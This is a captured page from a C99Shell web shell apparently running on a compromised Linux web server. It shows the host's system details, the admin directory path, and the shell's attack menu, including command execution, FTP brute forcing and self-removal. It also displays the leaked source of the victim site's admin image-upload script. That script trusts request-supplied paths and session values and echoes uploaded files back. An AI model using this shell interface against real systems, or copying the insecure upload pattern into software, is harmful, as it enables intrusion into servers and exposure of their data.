!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/mina/mndaily/admin/   drwxr-xr-x
Free 3.89 GB of 27.03 GB (14.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     manageImages2.inc.php3 (2.12 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
  
require("$mysqlCall");

  if(
checkSuperSession($superSession, $REMOTE_ADDR))
    {
      
      include(
"include/rootGui.inc.php3");

    require(
"fileupload.class");


function
print_file($file, $type, $mode) {
    if(
$file) {
        if(
ereg("image", $type)) {
            echo
"<img src=\"" . $file . "\" border=\"0\" alt=\"\">";
        }
        else {
            
$userfile = fopen($file, "r");
            while(!
feof($userfile)) {
                
$line = fgets($userfile, 255);
                switch(
$mode){
                    case
1:
                        echo
$line;
                        break;
                    case
2:
                        echo
nl2br(ereg_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", htmlentities($line)));
                        break;
                }    
            }
        }
    }
}

$upload = new uploader;
$upload->max_filesize(30000);

if(
$upload->upload("$FILENAME", "$ACCEPT", "$EXTENSION")) {
    while(list(
$key, $var) = each($upload->file)){
        echo
$key . " = " . $var . "<br>";
    }
    if(
$upload->save_file("$PATH", $SAVE_MODE)) {
        print(
"<p>Saved as: " . $upload->new_file . "<p>");
        
print_file($upload->new_file, $upload->file["type"], 2);
    }
}

if(
$upload->errors) {
    while(list(
$key, $var) = each($upload->errors)){
        echo
"<p>" . $var . "<br>";
    }
}

if (
$NEW_NAME) {
    print(
"<p>Name of image save: <b>$NEW_NAME</b></p>");
}



    print(
"<table><tr><td>File Name</td></tr>");
    
$dir = opendir("$path/admin/images");
    
    while(
$enteryName = readdir($dir))
    {
        if((
$enteryName == '.') || ($enteryName == '..'))
        {
        
        }

        else
        {
        print(
"<tr><td><img src=\"$URL/admin/images/$enteryName\"><br>$enteryName</td></tr>");
    
        
        }

    }

    
closedir("$dir");
    print(
"</table>");

        




    print(
"<form enctype=\"multipart/form-data\" action=\"index.php3?mode=manageImages&superSession=$superSession\" method=POST>");

    print(
"<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\">Send this file");
        print(
"<input name=\"userfile\" type=\"file\">");
        print(
"<input type=\"submit\" value=\"Send File\">");
    print(
"</form>");
    print(
"<hr>");

    if (
$ACCEPT) {
        print(
"This form only accepts <b>" . $ACCEPT . "</b> files\n");
    }


    

       include(
"include/guiBase.inc.php3");
     }    



?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0033 ]--